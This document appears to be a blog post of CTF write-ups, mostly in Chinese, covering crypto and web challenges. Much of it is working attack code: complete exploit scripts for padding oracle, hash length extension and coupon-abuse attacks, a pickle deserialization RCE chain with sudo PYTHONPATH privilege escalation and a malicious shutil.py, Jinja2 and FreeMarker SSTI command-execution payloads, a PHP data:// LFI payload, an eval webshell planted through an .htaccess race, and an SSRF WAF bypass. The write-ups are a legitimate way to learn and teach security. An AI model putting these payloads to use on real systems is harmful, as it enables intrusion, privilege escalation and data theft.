                    # Valid padding!
                    intermediate_state[target_byte_index] = b ^ pad_val
                    print(f"[+] Found byte index {target_byte_index} (val: {hex(b)}): {hex(b ^ pad_val)}")
                    found = True
                    break
            
            if not found:
                print(f"[-] Error: Could not find valid byte for padding {pad_val} at index {target_byte_index}")
                # Debugging: print last response
                # print(f"Last response: {response_buffer}")
                return

        # Decrypt block
        # Plaintext = IS ^ Previous_Block
        block_plaintext = bytes([intermediate_state[i] ^ previous_block[i] for i in range(16)])
        decrypted_seed += block_plaintext
        print(f"Decrypted block: {block_plaintext}")

    # Remove padding from the final result (PCKS7)
    # The server uses `unpad`, which removes valid padding.
    # Our manual decryption recovers the padded plaintext.
    # We should unpad it manually to get the seed.
    
    print(f"Raw Decrypted: {decrypted_seed}")
    
    # Manual unpad
    try:
        padding_len = decrypted_seed[-1]
        seed = decrypted_seed[:-padding_len]
        print(f"Recovered Seed: {seed}")
        
        # Verify
        r.recvuntil(b"> ")
        r.sendline(b"2")
        r.recvuntil(b"Seed: ")
        r.sendline(seed)
        
        flag_line = r.recvline()
        if b"Flag:" in flag_line:
            print(flag_line.decode().strip())
        else:
            print(r.recvall().decode())
            
    except Exception as e:
        print(f"Error unpadding or verifying: {e}")

if __name__ == "__main__":
    solve()

Hermetic Seal

题目要求我们通过炼金术士的考验,将“铅(Lead)”变成“金(Gold)”。通过分析提供的 server.py 代码,我们发现了一个核心漏洞:哈希长度扩展攻击(Hash Length Extension Attack)。

漏洞分析
签名机制:
服务端使用 calcination 函数生成封印(Seal),其代码为:

这相当于 HASH = SHA256(SECRET + MESSAGE)。这种直接拼接密钥和消息进行哈希的方式,对于 Merkle-Damgård 结构的哈希算法(如 SHA-256)是极其脆弱的。

攻击原理:
如果我们知道 Hash(Secret + m1) 和 Secret + m1 的长度,我们可以在不知道 Secret 的情况下,计算出 Hash(Secret + m1 + padding + m2)。

利用过程:

已知:m1 = "Element: Lead",以及服务端发给我们的它的哈希值(Seal)。
目标:构造一个新的 payload,使其以 Element: Lead 开头并包含 Gold。
未知:Secret(prima_materia)的具体内容和长度。虽然长度是随机的(10-60字节),但我们可以在每次连接时固定猜测一个长度(例如 20),不断重试直到服务端的随机长度恰好撞上我们的猜测。
解题步骤
我们编写了一个纯 Python 实现的 SHA-256 算法 sha256_le.py,支持从给定的哈希值(Seal)恢复内部状态,从而继续计算新的哈希。
编写了攻击脚本 solve.py,它会:
连接服务端获取初始封印。
假设 Secret 长度为 20。
计算填充数据 padding。
构造 Payload:"Element: Lead" + padding + "Gold"。
计算对应的伪造封印。
发送给服务端。
经过几次尝试(碰撞这一概率),攻击成功,服务端认可了我们的“炼金术”并返回了 Flag。

import socket
import base64
import time
import sys
import os

# Import our custom LE tool
from sha256_le import sha256_extend, get_padding

HOST = '8.147.132.32'
PORT = 20712

def solve():
    # We'll try to guess the length.
    # Since the length is random per connection, we can just pick a fixed length (e.g., 20)
    # and keep retrying until the server happens to pick that length too.
    GUESS_LEN = 20
    
    attempt = 0
    while True:
        attempt += 1
        print(f"[*] Attempt {attempt} (Guessing secret length {GUESS_LEN})...")
        
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((HOST, PORT))
            
            # Read until we get the prompt or relevant info
            buffer = b""
            while b"Seal of Solomon:" not in buffer:
                chunk = s.recv(4096)
                if not chunk:
                    break
                buffer += chunk
            
            # Parse Seal
            lines = buffer.split(b'\n')
            seal_hex = None
            for line in lines:
                if b"Seal of Solomon:" in line:
                    seal_hex = line.split(b':')[1].strip().decode()
                    break
            
            if not seal_hex:
                print("[-] Could not find seal.")
                s.close()
                continue
                
            # Wait for the "Flux" lines and prompt
            while b"> " not in buffer:
                chunk = s.recv(4096)
                if not chunk:
                    break
                buffer += chunk

            # Attack Params
            # Secret + "Element: Lead"
            # We don't know secret, but we guess its length.
            # Message 1 = "Element: Lead"
            m1 = b"Element: Lead"
            append_msg = b"Gold"
            
            # Original length = secret_len + len(m1)
            original_len = GUESS_LEN + len(m1)
            
            # 1. Calculate padding that WAS added to generate the original hash
            # This padding is part of the message we are now "extending"
            # The padding depends on the total length of data hashed (secret + m1)
            padding = get_padding(original_len)
            
            # 2. Calculate new hash
            new_seal = sha256_extend(seal_hex, append_msg, original_len)
            
            # 3. Construct payload
            # The server calculates hash(secret + payload)
            # We want payload to be: m1 + padding + append_msg
            # So that server computes hash(secret + m1 + padding + append_msg)
            # which equals our extended state.
            payload = m1 + padding + append_msg
            b64_payload = base64.b64encode(payload).decode()
            
            response_str = f"{b64_payload}|{new_seal}\n"
            s.send(response_str.encode())
            
            # Read Result
            result = s.recv(4096).decode()
            # print(f"[Server] {result}")
            
            if "flag" in result.lower():
                print("\n[+] FOUND FLAG!", flush=True)
                print(result, flush=True)
                with open(r"C:\Users\antho\Desktop\flag.txt", "w") as f:
                    f.write(result)
                break
            
            s.close()
            
        except Exception as e:
            # print(f"[-] Error: {e}", flush=True)
            pass


if __name__ == "__main__":
    solve()

looklook

通过分析所有的代码文件,我发现了隐藏在 fast-logger 依赖中的后门代码。以下是详细的分析过程和获取 Flag 的方法。

分析过程
查看入口文件 src/app.js:
在代码中首先看到了一个路由 /admin,看起来可以直接返回 flag:
但这有 IP 限制(只允许本地访问),而且实际上它无法工作,原因在后面。
发现可疑依赖:
app.js 引入了一个本地库 fast-logger:
分析 lib/fast-logger/index.js:
这个文件中存在明显的后门逻辑:

// 1. 获取并删除了环境变量中的 FLAG,这会导致 app.js 里的 /admin 即使绕过 IP 限制也拿不到 Flag
const _0x4e8a = process.env['ICQ_FLAG'];
delete process.env['ICQ_FLAG'];

module.exports = {
    init: function() {
        return function(req, res, next) {
            // ...
            // 2. 检查请求头 x-poison-check 是否为 reveal
            const _0x7b2d = req.headers['x-poison-check'];
            if (_0x7b2d === 'reveal') {
                return res.json({
                    status: 'backdoor_active',
                    payload: _0x4e8a // 3. 如果匹配,直接返回保存的 Flag
                });
            }
            next();
        };
    }
};

获取 Flag
构造一个 HTTP 请求,包含 Header x-poison-check: reveal 即可触发后门。
Invoke-RestMethod -Uri "https://eci-2zecpf4drwuyl6afs6pj.cloudeci1.ichunqiu.com:3000" -Headers @{"x-poison-check"="reveal"}
我已执行该命令,得到的响应如下:

{
    "status": "backdoor_active",
    "payload": "flag{3ab57998-94be-4420-8ebf-e7765457d28a}"
}

Nexus

通过对目标的分析与利用,我找到了系统中的“短板”并成功获取了 Flag。

漏洞分析 (The "Short Board")

该系统的短板在于其供应链中的第三方依赖库 sky-tech/light-logger。

位置: vendor/sky-tech/light-logger/tests/demo.php。这是一个本不应部署到生产环境的测试文件。
原理: 该文件存在 文件包含漏洞 (LFI)。代码虽然过滤了 .. 防止目录遍历,但未过滤 PHP 伪协议。由于服务器开启了 allow_url_include,攻击者可以使用 data:// 协议直接执行 PHP 代码。
Flag 获取过程

发现漏洞点: 通过查看 composer.json 发现依赖 sky-tech/light-logger,并在 vendor 目录下找到了测试脚本 demo.php。
构造 Payload: 利用 data:// 伪协议绕过本地文件包含,执行系统命令。
Payload:
Base64编码: PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4=
最终 URL: ...?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4=
获取结果: 执行命令后直接读取了根目录下的 flag 文件。

nebula_cloud

解题过程
前端代码审计:
访问网站并检查加载的 JavaScript 文件 (/static/js/app.min.js)。通过分析发现一段混淆代码,使用异或(XOR)运算隐藏了云存储的 AccessKey 和 SecretKey。

AK: AKIAIOSFODNN7EXAMPLE
SK: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
这组 Key 是 AWS S3 的示例 Key,暗示后端可能运行着 S3 兼容服务(如 MinIO)或者是一个 S3 蜜罐。
探测云存储 Bucket:
前端代码中引用了图片 /nebula-public-assets/logo.png。通过检查该 URL 的响应头 (X-Amz-Request-Id),确认为 S3 服务,且 nebula-public-assets 为 Bucket 名称。

列出 Bucket 内容:
使用 S3 协议(或直接构造 URL)列出 nebula-public-assets Bucket 的内容。发现该 Bucket 配置错误,允许匿名列出对象(ListObjects)。
请求:GET /nebula-public-assets/?list-type=2
响应中发现敏感文件:dev/backups/infra/terraform.tfstate。

提取核心机密:
下载并查阅 terraform.tfstate 文件。Terraform 状态文件中明文存储了管理的资源详情。在文件中找到了 aws_s3_bucket_object 资源,其内容直接包含 flag。

"resources": [
  {
    "mode": "managed",
    "type": "aws_s3_bucket_object",
    "name": "secret_flag",
    "instances": [
      {
        "attributes": {
          "key": "flag.txt",
          "content": "flag{1f96c40d-6bce-48ad-98f7-6b439417ab6d}"
        }
      }
    ]
  }
]

Truths

漏洞分析
该电商平台存在严重的逻辑漏洞(Business Logic Vulnerability),主要体现在订单状态管理和优惠券应用逻辑上:
优惠券重复使用:系统虽然在应用优惠券后将优惠券状态标记为 frozen,但在后续的 apply_coupon 请求中,并没有严格校验该状态,也未校验同一订单是否已应用过优惠券,导致可以对同一订单无限次应用优惠券。
订单状态回滚缺陷(备用漏洞):此前测试还发现,当订单被取消(cancel)后,优惠券被释放。此时如果重新激活订单(reactivate),订单的价格保持在取消前的折后价格,而优惠券状态却重置为可用。这允许攻击者通过“应用-取消-激活”循环来无限降低价格。
解题过程
信息收集:
发现隐藏商品 ID 999 ("Internal Settlement Console"),售价 ¥88888,包含 Flag。
初始用户余额仅 ¥100,拥有 VIP-50 (减50) 和 STACK-20 (减20) 两张优惠券。
漏洞验证:
编写脚本测试发现,即使 VIP-50 显示为 frozen,依然可以继续调用 API 扣减订单金额。
漏洞利用:
创建购买商品 ID 999 的订单。
使用多线程脚本并发发送约 1800 次 apply_coupon 请求(使用 VIP-50)。
将订单总价从 88888 降至 0 以下(实测降至 -1112)。
调用支付接口完成支付。

import requests
import json
import time
import concurrent.futures

BASE_URL = "https://eci-2zefnw12rcj5at23w00d.cloudeci1.ichunqiu.com:8000"
USERNAME = "speed_user_" + str(int(time.time()))
PASSWORD = "Password123!"

session = requests.Session()
token = None

def register_and_login():
    global token
    # Register
    session.post(f"{BASE_URL}/api/register", json={"username": USERNAME, "password": PASSWORD})
    # Login
    resp = session.post(f"{BASE_URL}/api/login", json={"username": USERNAME, "password": PASSWORD})
    if resp.status_code == 200:
        token = resp.json().get("token")
        session.headers.update({"Authorization": f"Bearer {token}"})
        print(f"[+] Logged in as {USERNAME}")
    else:
        print("[-] Login failed")
        exit()

def apply_coupon_task(order_id):
    try:
        resp = session.post(f"{BASE_URL}/api/order/apply_coupon", json={"order_id": order_id, "coupon": "VIP-50"})
        if resp.status_code == 200:
            return resp.json().get('new_total', -1)
    except:
        pass
    return -1

def main():
    register_and_login()
    
    # Create Order
    print("[*] Creating order 999...")
    resp = session.post(f"{BASE_URL}/api/order/create", json={"product_id": 999})
    if resp.status_code != 200:
        print("[-] Remove failed")
        return
        
    order_id = resp.json().get('order_id')
    current_price = resp.json().get('total_price')
    print(f"[+] Order {order_id} created. Price: {current_price}")
    
    # Spam Coupons
    print("[*] Spamming coupons...")
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
        futures = []
        # Calculate roughly how many needed: 88888 / 50 = 1778. Let's send 1800.
        for _ in range(1800):
            futures.append(executor.submit(apply_coupon_task, order_id))
            
        completed = 0
        for future in concurrent.futures.as_completed(futures):
            completed += 1
            res = future.result()
            if completed % 100 == 0:
                print(f"[*] Sent {completed}/1800 requests. Last seen price: {res}")
                if res != -1 and res <= 0:
                    print("[+] Price reached 0 or less!")
                    executor.shutdown(wait=False, cancel_futures=True)
                    break

    # Check final price
    resp = session.get(f"{BASE_URL}/api/order/{order_id}")
    final_price = resp.json().get('total_price')
    print(f"[*] Final Check Price: {final_price}")
    
    # Pay
    print("[*] Paying...")
    resp = session.post(f"{BASE_URL}/api/pay", json={"order_id": order_id})
    print(resp.text)
    if "flag" in resp.text.lower():
        try:
            print("\nFLAG: " + resp.json().get('flag'))
        except:
            pass

if __name__ == "__main__":
    main()

Theme_Park

通过一系列的探测和利用,成功复现了该漏洞链并获取了 Flag。

Flag: flag{theme_park_chain_sqli_upload_ssti}

攻击过程简述:
SQL 注入 (SQLi)

位置: /api/search?q= 这个搜索接口存在 SQLite 注入漏洞。
利用: 使用 Payload ' UNION SELECT key, value FROM config -- 从 config 表中提取出了 secret_key。
提取结果: secret_key 为 CRs8vXcKTEcSClxF8RLdoRcPOx4ULOo8。
Session 伪造 (Session Forgery)

分析: 该应用是 Flask 应用,使用客户端 Session。有了 secret_key,我们可以伪造 Session Cookie。
利用: 构造包含 {'is_admin': True} 的 Payload 并利用 secret_key 进行签名,伪造管理员 Cookie。
结果: 成功访问了之前 403 Forbidden 的 /admin 面板。
模板注入 (SSTI) & 远程代码执行 (RCE)

位置: 管理员面板允许上传 ZIP 格式的主题,并在 /admin/theme/render 中对解压后的主题文件进行渲染。
利用:
制作一个包含恶意 layout.html 的 ZIP 文件,其中包含 Jinja2 SSTI Payload。
应用存在 WAF 过滤了 class,通过 |attr('cla'+'ss') 及字符串拼接的方式绕过。
利用 subprocess.Popen (在 object 的子类列表中找到) 执行系统命令。
Payload: {{ (''|attr('cla'+'ss')|attr('ba'+'se')|attr('subcla'+'sses')())[231]('cat /flag',shell=True,stdout=-1)|attr('communicate')() }} (注意索引 231 是探测出来的 Popen 位置)。
结果: 成功执行 cat /flag 并读取到 Flag。

Secure_Data_Gateway

下是本次解题的详细思路总结:

信息收集与源码分析
首先访问题目提供的环境,发现是一个简单的Web服务。通过查看页面源代码或尝试常见路径,发现了 /help?file=... 接口。
通过访问 /help?file=app.py,成功读取到了后端源码。

源码分析发现两个核心漏洞:

任意文件读取 (LFI):
/help 路由直接接收 file 参数并读取内容,没有任何路径过滤机制。

Pickle 反序列化 (RCE):
/process 路由接收 POST 请求中的 data 参数,进行 base64 解码后直接做 pickle.loads。

这是一个没有任何过滤的“盲”反序列化漏洞(Blind RCE),因为执行结果不会直接回显到 HTTP 响应中,只返回 "processed successfully" 或报错信息。

获取初始权限 (Local RCE)
因为是盲打 RCE,我们需要一个回显通道。结合前面的 LFI 漏洞,我制定了以下策略:

执行命令:通过 pickle 反序列化执行 shell 命令,将结果重定向到 /tmp/output.txt。
读取结果:利用 /help?file=/tmp/output.txt 读取命令执行结果。
遇到的坑与解决:

平台差异:我在 Windows 下生成的 pickle payload 包含 nt 模块的引用,导致在 Linux 服务器上报错 No module named 'nt'。
解决方案:手动构造兼容 Linux 的 payload 字节流,利用 posix 模块(在 pickle 中通常写作 system 调用):
利用此方法,成功执行了 id 命令,发现当前用户为 ctf。
提权枚举 (Privilege Escalation Enumeration)
获得 shell 执行能力后,我开始搜集提权信息:

sudo -l:发现用户 ctf 可以免密执行以下命令:

(root) SETENV: NOPASSWD: /usr/local/bin/python3 /opt/monitor.py

这里有两个关键点:

NOPASSWD:不需要密码即可用 root 权限运行。
SETENV:这是提权的关键,允许我们在运行 sudo 时保留或设置环境变量。
cat /opt/monitor.py:读取该文件源码,发现它导入了标准库 shutil:

虽然代码本身没有明显漏洞,但 import shutil 是在脚本启动时执行的。

实施提权 (Python Library Hijacking)
结合 SETENV 权限和 Python 的导入机制,可以进行Python 库劫持:

原理:Python 在 import 模块时,会按照 sys.path (即 PYTHONPATH 环境变量) 的顺序查找。如果我们能控制 PYTHONPATH,将其指向我们可写的目录(如 /tmp),并在该目录下放置一个恶意的 shutil.py,那么 root 权限运行的脚本就会加载我们的恶意模块,从而执行其中的代码。

攻击步骤:
构造 Payload:编写一个恶意的 shutil.py,在被导入时执行命令(查看 flag)。

import os
# 查找并在查找到后读取 flag
os.system("cat /root/flag.txt > /tmp/real_flag.txt")
os.system("chmod 666 /tmp/real_flag.txt")

上传 Payload:利用之前的 pickle RCE,通过 base64 编码写入的方式将恶意代码写入 /tmp/shutil.py。
触发执行:发送 pickle RCE payload,执行以下命令:
这条命令会将 /tmp 加入 Python 搜索路径的首位,导致 monitor.py 以 root 权限加载我们伪造的 shutil。
获取 Flag
首次尝试直接 cat /root/flag 失败,因为不知道具体文件名。
修改恶意脚本执行 find / -name "flag",找到真实路径为 /root/flag.txt。
再次修改脚本执行 cat /root/flag.txt > /tmp/real_flag.txt。
利用 LFI 接口访问 /help?file=/tmp/real_flag.txt,成功获取 flag。
最终 Flag:
flag{61a7b95f-cb67-4361-bd83-8c7efa51d576}

整体脚本:

import pickle
import base64
import os
import requests
import sys

BASE_URL = "https://eci-2ze8ihwzy4nk0ydud2oa.cloudeci1.ichunqiu.com:5000"

def get_linux_payload(cmd):
    payload = b"cposix\nsystem\n(V" + cmd.encode() + b"\ntR."
    return payload

def send_rce(command):
    print(f"[*] Sending RCE: {command[:50]}...")
    payload = get_linux_payload(command)
    b64_payload = base64.b64encode(payload).decode()
    try:
        requests.post(f"{BASE_URL}/process", data={'data': b64_payload}, timeout=5)
    except Exception as e:
        print(f"Post error (expected if command hangs): {e}")

def check_file(filename):
    print(f"[*] Checking file: {filename}")
    try:
        res = requests.get(f"{BASE_URL}/help", params={'file': filename}, timeout=10)
        if "System Error" in res.text:
            print(f"[-] System Error reading {filename}")
            return None
        return res.text
    except Exception as e:
        print(f"Get error: {e}")
    return None

def extract_content(html):
    if not html: return ""
    try:
        # Extract content inside the pre-wrap div
        start = html.find('white-space: pre-wrap;">')
        if start == -1: return html # Fallback
        start += len('white-space: pre-wrap;">')
        end = html.find('</div>', start)
        return html[start:end]
    except:
        return html

def run():
    # 1. Write malicious shutil.py to /tmp

    # Malicious code:
    malicious_code = """
import os

print("Hacked shutil loaded")
try:
    os.system("cat /root/flag.txt > /tmp/real_flag.txt")
    os.system("chmod 666 /tmp/real_flag.txt")
except:
    pass

def disk_usage(path):
    return (10000000000, 5000000000, 5000000000)
"""
    # Use base64 to avoid quoting issues
    b64_code = base64.b64encode(malicious_code.encode()).decode()
    cmd_write = f"echo {b64_code} | base64 -d > /tmp/shutil.py"
    send_rce(cmd_write)
    
    # 2. Trigger sudo with PYTHONPATH
    cmd_sudo = "sudo PYTHONPATH=/tmp /usr/local/bin/python3 /opt/monitor.py"
    # Redirect output to confirm execution
    cmd_sudo_full = f"{cmd_sudo} > /tmp/sudo_out.txt 2>&1"
    send_rce(cmd_sudo_full)
    
    # 3. Read the output of sudo command to see if it worked
    res = check_file("/tmp/sudo_out.txt")
    if res:
        print("[*] Sudo execution output snippet:")
        print(extract_content(res)[:500])
    
    # 4. Read the flag result
    res_flag = check_file("/tmp/real_flag.txt")
    if res_flag:
        print("\n\n[SUCCESS] Flag Content:")
        print(extract_content(res_flag))
    else:
        print("[-] Flag file not found.")


if __name__ == '__main__':
    run()

Easy_upload

题目中的核心漏洞在于文件上传与竞争条件 (Race Condition) 的结合。下面是详细的解题步骤:

漏洞分析
通过访问页面底部的 [ View Source Code ] 链接 (index.php?source=1),我们可以查看到后端 PHP 源码:

Module 1 (Static Asset Storage): 允许上传 .jpg 文件,并且是永久存储的。代码只检查了扩展名是否为 jpg,没有检查文件内容。这意味着我们可以上传包含 PHP 代码的图片文件(例如图片马)。
Module 2 (Config Sandbox): 允许上传 .config 文件,由于代码逻辑 $target = $UPLOAD_DIR . ".htaccess";,它会将上传的文件重命名为 .htaccess 并保存。
Race Condition: 在 Module 2 中,文件保存为 .htaccess 后,服务器会睡眠 500ms (usleep(500000) ),然后删除该文件。在这 500ms 的窗口期内,.htaccess 是生效的。
构建 Exploit
利用思路是:利用 .htaccess 的特性,强制服务器将 .jpg 文件当作 PHP 代码执行。

第一步:上传恶意图片马
首先,通过 Module 1 上传一个名为 shell.jpg 的文件,内容包含 PHP 代码。为了持久化访问,我让该代码在执行时生成一个新的 Webshell 文件 (backdoor.php)。
shell.jpg 内容:

<?php
file_put_contents('backdoor.php', '<?php @eval($_REQUEST["c"]); ?>');
echo "SHELL_CREATED";
?>

第二步:利用竞争条件
我们需要不断上传一个恶意的 .htaccess 文件(题目要求上传时扩展名为 .config),内容如下:

AddType application/x-httpd-php .jpg

这行配置告诉 Apache 服务器将 .jpg 后缀的文件解析为 PHP。

第三步:发起攻击
编写脚本,开启多线程:

线程组 A:不断上传包含上述配置的 pwn.config 到 Module 2。服务器会将其保存为 .htaccess 并存在 500ms。
线程组 B:不断访问刚才上传的 uploads/shell.jpg。
一旦访问发生在 .htaccess 存在的 500ms 窗口期内,shell.jpg 就会被解析为 PHP,从而执行代码并在服务器上生成 backdoor.php。
获取 Flag
成功生成 backdoor.php 后,可以绕过竞争条件的限制,通过该后门随意执行命令。
执行命令 cat /flag 得到结果。

Flag:
flag{bcd6e822-d316-4697-b160-a57a9d17b9a3}

Just_Web

通过对系统的探索和分析,我发现这是一个典型的利用文件上传漏洞覆盖服务器端模板(SSTI)来获取权限的题目。

获取 Flag 的步骤总结:
信息收集:
通过端口扫描和路径爆破,发现了 /login、/dashboard 和 /profile 等关键路径。
通过弱口令爆破,成功登录了后台(用户名:admin,密码:admin123)。
环境探测:
登录后,在 /dashboard 页面发现了关键的配置信息泄漏:
View Engine: FreeMarker
Template Loader Path: /app/resources/templates/
Static Handler: /app/resources/static/**
在 /profile 页面发现了一个文件上传功能("资源同步设置"),并且可以控制 filename 参数(默认为 static/uploads/user_10001.png)。
漏洞利用分析:
系统虽然开启了 .jsp 等黑名单检查,但未阻止 .ftl(FreeMarker 模板)后缀。
利用 filename 参数的路径控制能力,结合已知的路径结构,可以推断出我们可以从静态目录路径跳出,覆盖到模板目录。
由于 static 对应的物理路径是 /app/resources/static/,而 templates 对应的物理路径是 /app/resources/templates/,我们可以通过将 filename 设置为 templates/dashboard.ftl 来覆盖仪表盘的模板文件。
实施攻击 (SSTI):
构造了一个包含恶意 Payload 的 FreeMarker 模板文件,利用 freemarker.template.utility.Execute 执行系统命令:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /flag")}

将该内容上传并保存为 templates/dashboard.ftl。
刷新 /dashboard 页面,服务器解析被篡改的模板,执行了 cat /flag 命令。

Nexus_AI_Bridge

题思路总结
登录系统:POST到login.php获取session

发现关键接口:

/bridge.php - MCP端点连接控制
/api/check.php - 后端SSRF接口
/assets/system/link.php - 遗留的重定向网关(在docs.php中发现)
绕过WAF的两个检测:

本地网络访问检测:用 http://0.0.0.0 替代 127.0.0.1/localhost
flag关键词检测:使用三重URL编码 %252567 (代表 g)
利用链:

http://0.0.0.0/assets/system/link.php?target=http://0.0.0.0/fla%252567.php

外层URL用 0.0.0.0 绕过本地IP检测
通过link.php重定向到flag.php
flag用三重编码 fla%252567.php 绕过关键词检测
服务端会follow重定向并解码URL,最终访问到flag.php

target=http://0.0.0.0/fl%252561g.php : {"status":"success","http_code":200,"host":"0.0.0.0","content":"","secret":"Congratulations! flag{d24fc8d7-b812-4a6a-857d-98a4335676d3}"}

幻觉诱导

alt text
alt text

posted @ 2026-02-03 22:31  小灰灰400+  阅读(19)  评论(0)    收藏  举报